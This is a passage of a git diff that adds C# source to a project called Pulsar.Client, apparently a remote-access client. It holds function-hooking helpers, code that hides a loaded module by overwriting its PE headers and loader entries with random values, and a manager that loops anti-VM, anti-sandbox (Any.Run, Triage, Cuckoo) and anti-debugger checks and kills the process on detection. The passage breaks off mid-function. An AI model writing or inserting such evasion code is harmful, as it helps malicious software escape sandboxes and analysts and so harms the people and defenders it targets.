CopyMem(pFunction, code, true); + } + + /// + /// The whitelisted function by the hook which should get the original function pointer. + /// + /// The method to get the pointer for. + /// Returns the pointer if successful, otherwise IntPtr.Zero + public static IntPtr GetPointer(MethodInfo MI) + { + return MI.MethodHandle.GetFunctionPointer(); + } + + /// + /// The whitelisted function by the hook which should get the original function pointer from the delegate. + /// + /// The method to get the pointer for. + /// Returns the pointer if successful, otherwise IntPtr.Zero + public static IntPtr GetPointerDelegate(Delegate DelegateMethod) + { + if (IsReflectionEnabled(false, true)) + { + return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod }); + } + return Marshal.GetFunctionPointerForDelegate(DelegateMethod); + } + + /// + /// Installs a CLR hook. + /// + /// The method to be hooked. + /// The hook method. + /// The original code which will be written to if you wanna unhook the function later (6 bytes in length). + /// The hook code which can be used to hook the function after unhooking it (6 bytes in length). + /// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function. + /// Returns true if successfully hooked, otherwise false. + public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction) + { + try + { + if (!IsReflectionEnabled(true, true)) + { + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle); + RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle); + IntPtr pSource = GetPointer(SourceFunction); + IntPtr pDestination = GetPointer(DestinationFunction); + if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero) + { + if (OriginalCode != null) + CopyMem(OriginalCode, pSource, false); + if (HookFunction(pSource, pDestination, out HookedCode)) + { + pFunction = pSource; + return true; + } + } + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + catch + { + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + } + + /// + /// Installs a CLR hook using delegates, for some software that have AOT. + /// + /// The method to be hooked. + /// The hook method. + /// The original code which will be written to if you wanna unhook the function later (6 bytes in length). + /// The hook code which can be used to hook the function after unhooking it (6 bytes in length). + /// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function. + /// Returns true if successfully hooked, otherwise false. + public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction) + { + try + { + IntPtr pSource = GetPointerDelegate(SourceFunction); + IntPtr pDestination = GetPointerDelegate(DestinationFunction); + if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero) + { + if (OriginalCode != null) + CopyMem(OriginalCode, pSource, false); + if (HookFunction(pSource, pDestination, out HookedCode)) + { + pFunction = pSource; + return true; + } + } + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + catch + { + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + } + } +} diff --git a/Pulsar.Client/Anti/Injection/AntiInjection.cs b/Pulsar.Client/Anti/Injection/AntiInjection.cs new file mode 100644 index 0000000..7d8a776 --- /dev/null +++ b/Pulsar.Client/Anti/Injection/AntiInjection.cs @@ -0,0 +1,411 @@ +using Pulsar.Client.Anti.Helper; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static Pulsar.Client.Anti.Helper.Structs; + +namespace Pulsar.Client.Anti.Injection +{ + public static class Spoofs + { + public const int BaseAddress = 1 << 0; + public const int ModuleName = 1 << 1; + public const int AddressOfEntryPoint = 1 << 2; + public const int SizeOfImage = 1 << 3; + public const int NumberOfSections = 1 << 4; + public const int ImageMagic = 1 << 5; + public const int NotExecutableNorDll = 1 << 6; + public const int PESignature = 1 << 7; + public const int ExecutableSectionName = 1 << 8; + public const int ExecutableSectionRawSize = 1 << 9; + public const int ExecutableSectionRawPointer = 1 << 10; + public const int ClearExecutableSectionCharacteristics = 1 << 11; + public const int ExecutableSectionVirtualSize = 1 << 12; + } + + public class AntiInjection + { + + #region WinApi + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lib); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes); + + [DllImport("kernelbase.dll", SetLastError = true)] + public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength); + + #endregion + + /// + /// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded. + /// + /// Returns "Success" if the policy was set successfully, otherwise "Failed". + public static string SetDllLoadPolicy() + { + Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY + { + MicrosoftSignedOnly = 1 + }; + if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy))) + return "Success"; + return "Failed"; + } + + /// + /// Detects if an address is in range inside modules or not. + /// + /// The address to check for. + /// Returns true if the address is in no module, otherwise false. + private static bool IsAddressInRange(IntPtr Address) + { + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + IntPtr Base = module.BaseAddress; + IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize); + if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64()) + { + return true; + } + } + return false; + } + + /// + /// Detects if an address is in range inside modules or not. + /// + /// Specifies whether we use syscalls for the check or not. + /// Check if the threads start address is within modules range or not. + /// Returns true if no thread is injected, otherwise false. + public static bool CheckInjectedThreads() + { + + uint MEM_IMAGE = 0x1000000; + uint MEM_COMMIT = 0x1000; + int ThreadQuerySetWin32StartAddress = 9; + uint THREAD_QUERY_INFORMATION = 0x0040; + int PID = Process.GetCurrentProcess().Id; + foreach (ProcessThread thread in Process.GetCurrentProcess().Threads) + { + CLIENT_ID CI = new CLIENT_ID + { + UniqueProcess = (IntPtr)PID, + UniqueThread = (IntPtr)thread.Id + }; + + OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES + { + Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), + RootDirectory = IntPtr.Zero, + ObjectName = IntPtr.Zero, + Attributes = 0, + SecurityDescriptor = IntPtr.Zero, + SecurityQualityOfService = IntPtr.Zero + }; + + IntPtr hThread = IntPtr.Zero; + uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI); + if (Status == 0 || hThread != IntPtr.Zero) + { + IntPtr StartAddress = IntPtr.Zero; + int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero); + Utils.CloseHandle(hThread); + if (QueryStatus == 0) + { + MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION(); + if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _)) + { + if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT) + { + return true; + } + } + } + } + } + return false; + } + + /// + /// Generate a random module name. + /// + /// the random module name. + private static string GenerateRandomString() + { + string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + Random random = new Random(); + int RandomLength = random.Next(6, 32); + char[] NewModule = new char[RandomLength]; + for (int i = 0; i < RandomLength; i++) + { + NewModule[i] = Letters[random.Next(Letters.Length)]; + } + return new string(NewModule); + } + + private static bool IsFlagsSet(int SpoofOptions, int[] spoofs) + { + foreach (int spoofa in spoofs) + { + if ((SpoofOptions & spoofa) == spoofa) + return true; + } + return false; + } + + private static bool IsPE_FlagsSet(int SpoofOptions) + { + int[] spoofs = { + Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize, + Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic, + Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics, + Spoofs.ExecutableSectionVirtualSize + }; + return IsFlagsSet(SpoofOptions, spoofs); + } + + /// + /// Changes the module information at runtime to avoid modification/lookups. + /// + /// The module name which we will change it's information. if left null, we get the main module of the process. + /// The spoofing options to apply. + /// Returns true if successfully changed the module info, otherwise false. + public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions) + { + try + { + string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName; + if (string.IsNullOrEmpty(FinalModuleName)) + return false; + + IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName); + if (hModule == IntPtr.Zero) + return false; + + string Fake = $"{GenerateRandomString()}.dll"; + PEB Peb = Utils.GetPEB(); + _PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr); + IntPtr f = Ldr.InMemoryOrderModuleList.Flink; + Random RandGen = new Random(); + + for (int count = 0; count < 256 && f != IntPtr.Zero; count++) + { + _LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f); + string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer); + + if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName) + { + if (IsPE_FlagsSet(SpoofOptions)) + { + int[] SectionSpoof = { + Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer, + Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize + }; + + IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(hModule); + IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew); + + if (IntPtr.Size == 8) + { + IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure(pNtHeaders); + if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint) + NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000); + + if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections) + NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99); + + if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic) + NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage) + NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000)); + + if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll) + { + ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; + ushort IMAGE_FILE_DLL = 0x2000; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL; + } + + if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature) + NtHeadersStruct.Signature = 0x4D5A0000; + + if (IsFlagsSet(SpoofOptions, SectionSpoof)) + { + IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now + IntPtr pSectionHeader = pSectionHeaders; + int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); + + for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++) + { + IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure(pSectionHeader); + uint IMAGE_SCN_CNT_CODE = 0x00000020; + if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE) + { + if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName) + SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}"); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer) + SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize) + SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics) + SectionHeader.Characteristics = 0; + + if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize) + SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000); + + Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true); + break; + } + + pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize); + } + } + + Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true); + } + else + { + IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure(pNtHeaders); + if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint) + NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000); + + if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections) + NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99); + + if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic) + NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage) + NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000)); + + if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll) + { + ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; + ushort IMAGE_FILE_DLL = 0x2000; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL; + } + + if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature) + NtHeadersStruct.Signature = 0x4D5A0000; + + if (IsFlagsSet(SpoofOptions, SectionSpoof)) + { + IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now + IntPtr pSectionHeader = pSectionHeaders; + int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); + + for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++) + { + IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure(pSectionHeader); + uint IMAGE_SCN_CNT_CODE = 0x00000020; + if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE) + { + if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName) + SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}"); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer) + SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize) + SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics) + SectionHeader.Characteristics = 0; + + if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize) + SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000); + + Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true); + break; + } + + pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize); + } + } + + Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true); + } + } + + if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress) + { + TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000); + } + + if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName) + { + IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake); + TableEntry.FullDllName.Buffer = FakeDllBuffer; + TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2); + TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2); + } + + Utils.WriteStructToPtr(TableEntry, f, true, true); + return true; + } + f = TableEntry.InLoadOrderLinks.Flink; + } + } + catch + { + return false; + } + return false; + } + + /// + /// Changes CLR Module ImageMagic to prevent critical info lookups. + /// + /// Returns true if successful, otherwise false. + public static bool ChangeCLRModuleImageMagic() + { + string CLR = Utils.GetCurrentCLRModuleName(); + if (!string.IsNullOrEmpty(CLR)) + { + return ChangeModuleInfo(CLR, Spoofs.ImageMagic); + } + return false; + } + + + /// + /// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing). + /// + /// Returns true if the ImageBaseAddress is suspicious, otherwise false. + public static bool CheckForSuspiciousBaseAddress() + { + try + { + PEB Peb = Utils.GetPEB(); + if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress) + return true; + } + catch + { + + } + return false; + } + } +} diff --git a/Pulsar.Client/Anti/Manager.cs b/Pulsar.Client/Anti/Manager.cs new file mode 100644 index 0000000..8df2c8a --- /dev/null +++ b/Pulsar.Client/Anti/Manager.cs @@ -0,0 +1,352 @@ +using Pulsar.Client.Anti.Debugger; +using Pulsar.Client.Anti.Injection; +using Pulsar.Client.Anti.VM; +using Pulsar.Client.Config; +using System; +using System.Diagnostics; +using System.Threading; +using System.Threading.Tasks; +using System.Collections.Generic; +using System.Reflection; + +//copy pasted / slightly edited from https://github.com/AdvDebug/AntiCrack-DotNet + +namespace Pulsar.Client.Anti +{ + public class Manager + { + private static bool _debugMode = false; + + public static bool DebugMode + { + get => _debugMode; + set => _debugMode = value; + } + + private struct DetectionMethod + { + public T Method; + public string Name; + public string Description; + + public DetectionMethod(T method, string name, string description) + { + Method = method; + Name = name; + Description = description; + } + } + + private static void LogDebug(string message) + { + if (DebugMode) + { + Debug.WriteLine($"[DEBUG] {DateTime.Now:HH:mm:ss.fff} - {message}"); + } + } + + private static void LogDetection(string detectionType, string methodName, string description) + { + Debug.WriteLine($"[DETECTION] {DateTime.Now:HH:mm:ss.fff} - {detectionType} detected by '{methodName}': {description}"); + } + + private static void CheckVirtualization() + { + LogDebug("Starting virtualization detection checks..."); + + var vmChecks = new List>> + { + new DetectionMethod>(AntiVirtualization.AnyRunCheck, "AnyRunCheck", "Any.Run sandbox environment"), + new DetectionMethod>(AntiVirtualization.TriageCheck, "TriageCheck", "Triage sandbox environment"), + new DetectionMethod>(AntiVirtualization.CheckForQemu, "CheckForQemu", "QEMU virtualization"), + new DetectionMethod>(AntiVirtualization.CheckForParallels, "CheckForParallels", "Parallels virtualization"), + new DetectionMethod>(AntiVirtualization.IsSandboxiePresent, "IsSandboxiePresent", "Sandboxie sandbox"), + new DetectionMethod>(AntiVirtualization.IsComodoSandboxPresent, "IsComodoSandboxPresent", "Comodo sandbox"), + new DetectionMethod>(AntiVirtualization.IsCuckooSandboxPresent, "IsCuckooSandboxPresent", "Cuckoo sandbox"), + new DetectionMethod>(AntiVirtualization.IsQihoo360SandboxPresent, "IsQihoo360SandboxPresent", "Qihoo 360 sandbox"), + new DetectionMethod>(AntiVirtualization.CheckForBlacklistedNames, "CheckForBlacklistedNames", "Blacklisted VM/sandbox names"), + new DetectionMethod>(AntiVirtualization.CheckForVMwareAndVirtualBox, "CheckForVMwareAndVirtualBox", "VMware or VirtualBox"), + new DetectionMethod>(AntiVirtualization.CheckForKVM, "CheckForKVM", "KVM virtualization"), + new DetectionMethod>(AntiVirtualization.BadVMFilesDetection, "BadVMFilesDetection", "VM-specific files"), + new DetectionMethod>(AntiVirtualization.BadVMProcessNames, "BadVMProcessNames", "VM-specific processes"), + new DetectionMethod>(AntiVirtualization.CheckDevices, "CheckDevices", "VM-specific devices"), + new DetectionMethod>(AntiVirtualization.Generic.EmulationTimingCheck, "EmulationTimingCheck", "Emulation timing anomalies"), + new DetectionMethod>(AntiVirtualization.Generic.PortConnectionAntiVM, "PortConnectionAntiVM", "VM-specific port connections"), + new DetectionMethod>(AntiVirtualization.Generic.AVXInstructions, "AVXInstructions", "AVX instruction emulation"), + new DetectionMethod>(AntiVirtualization.Generic.RDRANDInstruction, "RDRANDInstruction", "RDRAND instruction emulation"), + new DetectionMethod>(AntiVirtualization.Generic.FlagsManipulationInstructions, "FlagsManipulationInstructions", "Flag manipulation instruction emulation") + }; + + int totalChecks = vmChecks.Count; + int currentCheck = 0; + + foreach (var vmCheck in vmChecks) + { + currentCheck++; + try + { + LogDebug($"Running VM check {currentCheck}/{totalChecks}: {vmCheck.Name}"); + + if (vmCheck.Method()) + { + LogDetection("VIRTUALIZATION", vmCheck.Name, vmCheck.Description); + Debug.WriteLine($"[FATAL] Process terminating due to virtualization detection - Exiting..."); + Process.GetCurrentProcess().Kill(); + } + else + { + LogDebug($"VM check {vmCheck.Name} passed"); + } + } + catch (Exception ex) + { + LogDebug($"VM check {vmCheck.Name} failed with exception: {ex.Message}"); + } + } + + LogDebug($"All {totalChecks} virtualization checks completed successfully"); + } + + private static void CheckInjection() + { + LogDebug("Starting injection detection checks in background thread..."); + + var injectionChecks = new List>> + { + new DetectionMethod>(AntiInjection.CheckInjectedThreads, "CheckInjectedThreads", "Injected threads detection"), + //new DetectionMethod>(AntiInjection.ChangeCLRModuleImageMagic, "ChangeCLRModuleImageMagic", "CLR module image magic modification"), + new DetectionMethod>(AntiInjection.CheckForSuspiciousBaseAddress, "CheckForSuspiciousBaseAddress", "Suspicious base address (process hollowing)") + }; + + int cycleCount = 0; + + while (true) + { + cycleCount++; + LogDebug($"Starting injection detection cycle #{cycleCount}"); + + int totalChecks = injectionChecks.Count; + int currentCheck = 0; + + foreach (var injectionCheck in injectionChecks) + { + currentCheck++; + try + { + LogDebug($"Running injection check {currentCheck}/{totalChecks}: {injectionCheck.Name}"); + + if (injectionCheck.Method()) + { + LogDetection("INJECTION", injectionCheck.Name, injectionCheck.Description); + Debug.WriteLine($"[FATAL] Process terminating due to injection detection - Exiting..."); + Process.GetCurrentProcess().Kill(); + } + else + { + LogDebug($"Injection check {injectionCheck.Name} passed"); + } + } + catch (Exception ex) + { + LogDebug($"Injection check {injectionCheck.Name} failed with exception: {ex.Message}"); + } + } + + LogDebug($"Injection detection cycle #{cycleCount} completed successfully"); + + int randomSleep = new Random().Next(1000, 5000); + LogDebug($"Sleeping for {randomSleep}ms before next injection check cycle"); + Thread.Sleep(randomSleep); + } + } + + private static void CheckDebugger() + { + LogDebug("Starting debugger detection checks in background thread..."); + + var debugDetections = new List>> + { + //new DetectionMethod>(AntiDebug.NtUserGetForegroundWindowAntiDebug, "NtUserGetForegroundWindowAntiDebug", "Debugger window in foreground"), + new DetectionMethod>(AntiDebug.DebuggerIsAttached, "DebuggerIsAttached", "Managed debugger attached"), + new DetectionMethod>(AntiDebug.IsDebuggerPresentCheck, "IsDebuggerPresentCheck", "Native debugger present"), + new DetectionMethod>(AntiDebug.BeingDebuggedCheck, "BeingDebuggedCheck", "PEB BeingDebugged flag set"), + new DetectionMethod>(AntiDebug.NtGlobalFlagCheck, "NtGlobalFlagCheck", "NtGlobalFlag indicates debugging"), + new DetectionMethod>(AntiDebug.NtSetDebugFilterStateAntiDebug, "NtSetDebugFilterStateAntiDebug", "Debug filter state manipulation"), + new DetectionMethod>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugFlags, "NtQueryInformationProcessCheck_ProcessDebugFlags", "Process debug flags set"), + new DetectionMethod>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugPort, "NtQueryInformationProcessCheck_ProcessDebugPort", "Debug port detected"), + new DetectionMethod>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugObjectHandle, "NtQueryInformationProcessCheck_ProcessDebugObjectHandle", "Debug object handle detected"), + new DetectionMethod>(AntiDebug.NtCloseAntiDebug_InvalidHandle, "NtCloseAntiDebug_InvalidHandle", "Invalid handle debugging technique"), + new DetectionMethod>(AntiDebug.NtCloseAntiDebug_ProtectedHandle, "NtCloseAntiDebug_ProtectedHandle", "Protected handle debugging technique"), + new DetectionMethod>(AntiDebug.HardwareRegistersBreakpointsDetection, "HardwareRegistersBreakpointsDetection", "Hardware breakpoints detected"), + new DetectionMethod>(AntiDebug.FindWindowAntiDebug, "FindWindowAntiDebug", "Known debugger windows detected") + }; + + int cycleCount = 0; + + while (true) + { + cycleCount++; + LogDebug($"Starting debugger detection cycle #{cycleCount}"); + + try + { + LogDebug("Executing HideThreadsAntiDebug"); + AntiDebug.HideThreadsAntiDebug(); + } + catch (Exception ex) + { + LogDebug($"HideThreadsAntiDebug failed with exception: {ex.Message}"); + } + + int totalChecks = debugDetections.Count; + int currentCheck = 0; + + foreach (var debugCheck in debugDetections) + { + currentCheck++; + try + { + LogDebug($"Running debug check {currentCheck}/{totalChecks}: {debugCheck.Name}"); + + if (debugCheck.Method()) + { + LogDetection("DEBUGGER", debugCheck.Name, debugCheck.Description); + Debug.WriteLine($"[FATAL] Process terminating due to debugger detection - Exiting..."); + Process.GetCurrentProcess().Kill(); + } + else + { + LogDebug($"Debug check {debugCheck.Name} passed"); + } + } + catch (Exception ex) + { + LogDebug($"Debug check {debugCheck.Name} failed with exception: {ex.Message}"); + } + } + + LogDebug($"Debugger detection cycle #{cycleCount} completed successfully"); + + int randomSleep = new Random().Next(1000, 5000); + LogDebug($"Sleeping for {randomSleep}ms before next debugger check cycle"); + Thread.Sleep(randomSleep); + } + } + + public static void StartAnti() + { + LogDebug($"[ANTI] Starting Anti-Analysis protection systems at {DateTime.Now:yyyy-MM-dd HH:mm:ss}"); + LogDebug($"Debug mode is {(DebugMode ? "ENABLED" : "DISABLED")}"); + + LogSystemInfo(); + + if (Settings.ANTIVM) + { + LogDebug("[ANTI] Anti-VM protection enabled - Checking for virtualization environments..."); + LogDebug("ANTIVM setting is enabled, starting virtualization checks"); + try + { + CheckVirtualization(); + LogDebug("[ANTI] No virtualization detected - Anti-VM checks passed"); + } + catch (Exception ex) + { + LogDebug($"CheckVirtualization failed with exception: {ex.Message}"); + LogDebug("[ERROR] Anti-VM checks encountered an error but continuing..."); + } + } + else + { + LogDebug("ANTIVM setting is disabled, skipping virtualization checks"); + } + + if (Settings.ANTIDEBUG) + { + LogDebug("[ANTI] Anti-Debug protection enabled - Starting background monitoring threads..."); + LogDebug("ANTIDEBUG setting is enabled, starting background detection threads"); + + try + { + LogDebug("Starting injection detection thread"); + Task.Factory.StartNew(() => CheckInjection(), TaskCreationOptions.LongRunning); + LogDebug("[ANTI] Injection detection thread started"); + } + catch (Exception ex) + { + LogDebug($"Failed to start injection detection thread: {ex.Message}"); + LogDebug("[ERROR] Failed to start injection detection thread"); + } + + try + { + LogDebug("Starting debugger detection thread"); + Task.Factory.StartNew(() => CheckDebugger(), TaskCreationOptions.LongRunning); + LogDebug("[ANTI] Debugger detection thread started"); + } + catch (Exception ex) + { + LogDebug($"Failed to start debugger detection thread: {ex.Message}"); + LogDebug("[ERROR] Failed to start debugger detection thread"); + } + + LogDebug("[ANTI] Anti-Debug background monitoring is now active"); + } + else + { + LogDebug("ANTIDEBUG setting is disabled, skipping debug detection"); + } + + LogDebug("[ANTI] Anti-Analysis protection initialization complete"); + LogDebug($"[ANTI] Protection Status: {GetProtectionStatus()}"); + LogDebug("StartAnti() completed successfully"); + } + + /// + /// Toggle debug mode on/off during runtime + /// + /// True to enable debug logging, false to disable + public static void SetDebugMode(bool enabled) + { + DebugMode = enabled; + LogDebug($"[ANTI] Debug mode {(enabled ? "ENABLED" : "DISABLED")}"); + } + + /// + /// Get status of anti-protection systems + /// + /// Status string + public static string GetProtectionStatus() + { + return $"Anti-VM: {(Settings.ANTIVM ? "ENABLED" : "DISABLED")}, " + + $"Anti-Debug: {(Settings.ANTIDEBUG ? "ENABLED" : "DISABLED")}, " + + $"Debug Mode: {(DebugMode ? "ENABLED" : "DISABLED")}"; + } + + /// + /// Log system information for debugging purposes + /// + public static void LogSystemInfo() + { + if (!DebugMode) return; + + try + { + 